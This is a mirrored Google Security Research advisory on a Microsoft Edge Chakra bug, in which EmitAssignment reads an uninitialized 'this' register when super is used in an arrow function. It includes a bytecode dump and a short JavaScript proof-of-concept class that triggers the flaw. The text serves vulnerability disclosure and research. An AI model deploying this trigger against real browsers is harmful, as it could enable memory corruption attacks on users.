Microsoft Edge Chakra EmitAssignment Register Issue Exploit

2017-08-17T00:00:00
ID 1337DAY-ID-28287
Type zdt
Reporter Google Security Research
Modified 2017-08-17T00:00:00

Description

Microsoft Edge Chakra has an issue where EmitAssignment uses the "this" register without initializing.

                                        
                                            Microsoft Edge: Chakra: EmitAssignment uses the "this" register without initializing 




"EmitAssignment" doesn't call "EmitSuperMethodBegin" that initializes the "this" register for the case when the super keyword is used. 

Here's the generated bytecode for the lambda function in the PoC. <a href="https://crrev.com/5" title="" class="" rel="nofollow">R5</a> is uninitialized.
Function Anonymous function ( (#1.3), #4) (In0) (size: 7 [7])
      9 locals (1 temps from <a href="https://crrev.com/8" title="" class="" rel="nofollow">R8</a>), 1 inline cache
    Constant Table:
    ======== =====
     <a href="https://crrev.com/1" title="" class="" rel="nofollow">R1</a> LdRoot    
     <a href="https://crrev.com/2" title="" class="" rel="nofollow">R2</a> Ld_A       (undefined)
     <a href="https://crrev.com/3" title="" class="" rel="nofollow">R3</a> LdC_A_I4   int:1 
    
    0000   ProfiledLdEnvSlot    <a href="https://crrev.com/6" title="" class="" rel="nofollow">R6</a> = [1][4]  <0> 
    000c   ProfiledLdEnvSlot    <a href="https://crrev.com/4" title="" class="" rel="nofollow">R4</a> = [1][3]  <1> 


  Line  28: super.a = 1;
  Col   13: ^
    0018   LdHomeObjProto       <a href="https://crrev.com/8" title="" class="" rel="nofollow">R8</a>  <a href="https://crrev.com/4" title="" class="" rel="nofollow">R4</a> 
    001d   ProfiledStSuperFld   <a href="https://crrev.com/8" title="" class="" rel="nofollow">R8</a>.(this=<a href="https://crrev.com/5" title="" class="" rel="nofollow">R5</a>) = <a href="https://crrev.com/3" title="" class="" rel="nofollow">R3</a> #0 <0> 
    0025   LdUndef              <a href="https://crrev.com/0" title="" class="" rel="nofollow">R0</a> 


  Line  29: }
  Col    9: ^
    0027   Ret

PoC:
class Parent {

};

class Child extends Parent {
    constructor() {
        (() => {
            super.a = 10;  // Implicitly use the "this" register. So it must be initialized.
        })();
    }
};

new Child();



This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

#  0day.today [2018-01-02]  #